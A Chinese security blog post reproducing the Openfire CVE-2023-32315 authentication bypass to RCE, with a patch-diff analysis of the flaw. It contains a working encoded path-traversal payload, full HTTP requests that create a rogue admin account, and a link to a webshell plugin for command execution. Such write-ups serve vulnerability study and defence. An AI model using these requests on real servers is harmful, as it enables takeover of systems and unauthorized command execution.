CVE-2023-32315到RCE漏洞复现分析

admin 2023年7月12日13:54:27CVE-2023-32315到RCE漏洞复现分析已关闭评论188 views字数 2339阅读7分47秒阅读模式

简介

Openfire是一个基于XMPP协议的即时通讯服务器,也称之为即时通讯平台。在即时通讯中往往因为需要保存一些状态或者数据所以不能采用点对点通讯,而是需要搭建服务器来转发。Openfire的管理页面包含5个菜单选项,分别是服务器基本信息配置选项、用户组管理选项、会话管理选项、分组聊天选项和插件选项。

影响版本

3.10.0\<= Openfire \<4.6.8

4.7.0\<=Openfire \<4.7.5

Openfire搭建

下载地址

https://github.com/igniterealtime/Openfire/releases/download/v4.7.3/openfire_4_7_3_x64.exe

本地安装好jdk,windwos版本直接安装

CVE-2023-32315到RCE漏洞复现分析

下一步到最后完成安装

CVE-2023-32315到RCE漏洞复现分析

启动服务端

CVE-2023-32315到RCE漏洞复现分析

访问

http://localhost:9090

CVE-2023-32315到RCE漏洞复现分析

为了复现没必要安装外联数据库

CVE-2023-32315到RCE漏洞复现分析

安装完成后,管理界面

http://localhost:9090/login.jsp

CVE-2023-32315到RCE漏洞复现分析

漏洞复现

payload:

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

CVE-2023-32315到RCE漏洞复现分析

第一步构造‘poc

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Upgrade-Insecure-Requests: 1

CVE-2023-32315到RCE漏洞复现分析

获取到cookie,第二步构造用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=eLn7fgybS8C4SNC&username=aaadmin&name=aaadmin&email=&password=1qaz2wsx&passwordConfirm=1qaz2wsx&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Cookie: JSESSIONID=node0xglgmlc1v8s71iojn4ob0crsb9.node0; csrf=eLn7fgybS8C4SNC
Upgrade-Insecure-Requests: 1

CVE-2023-32315到RCE漏洞复现分析
使用aaadmin/1qaz2wsx登录

CVE-2023-32315到RCE漏洞复现分析

且在poc中设置用户为管理员用户

CVE-2023-32315到RCE漏洞复现分析

当然这里利用网上师傅写好的go工具可一键利用,这中利用产生点跟通达OA老洞类似。

RCE

根据目前已经披露的利用方法分为两步,这里的RCE是在属于后渗透的利用,根据创建的用户利用插件功能上传webshell

插件下载地址

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1

CVE-2023-32315到RCE漏洞复现分析

插件上传成功

CVE-2023-32315到RCE漏洞复现分析

这里密码为123,进入服务器-》服务器设置-》shellplugin,输入密码

CVE-2023-32315到RCE漏洞复现分析

通过该jar包实现RCE

CVE-2023-32315到RCE漏洞复现分析

可对文件操作,执行系统命令

CVE-2023-32315到RCE漏洞复现分析

CVE-2023-32315到RCE漏洞复现分析

漏洞分析

这里对比一下4.7.5版本和4.7.4版本的区别

CVE-2023-32315到RCE漏洞复现分析

从未授权的位置看xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java代码中对于身份权限增加了校验

CVE-2023-32315到RCE漏洞复现分析

在配置文件xmppserver/src/main/webapp/WEB-INF/web.xml

CVE-2023-32315到RCE漏洞复现分析

查看到对excludes的值的定义,payload的的构造是满足158行的内容

CVE-2023-32315到RCE漏洞复现分析

当构造../../的时候是满足159行的if条件,但是在payload中对该内容做了utf8的编码,所以绕过了161行的if判断,导致了未授权的产生,使之能够绕过权限校验。

所以在4.7.5的版本中也增加对utf8的解码

CVE-2023-32315到RCE漏洞复现分析

参考链接

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日13:54:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-32315到RCE漏洞复现分析http://cn-sec.com/archives/1868903.html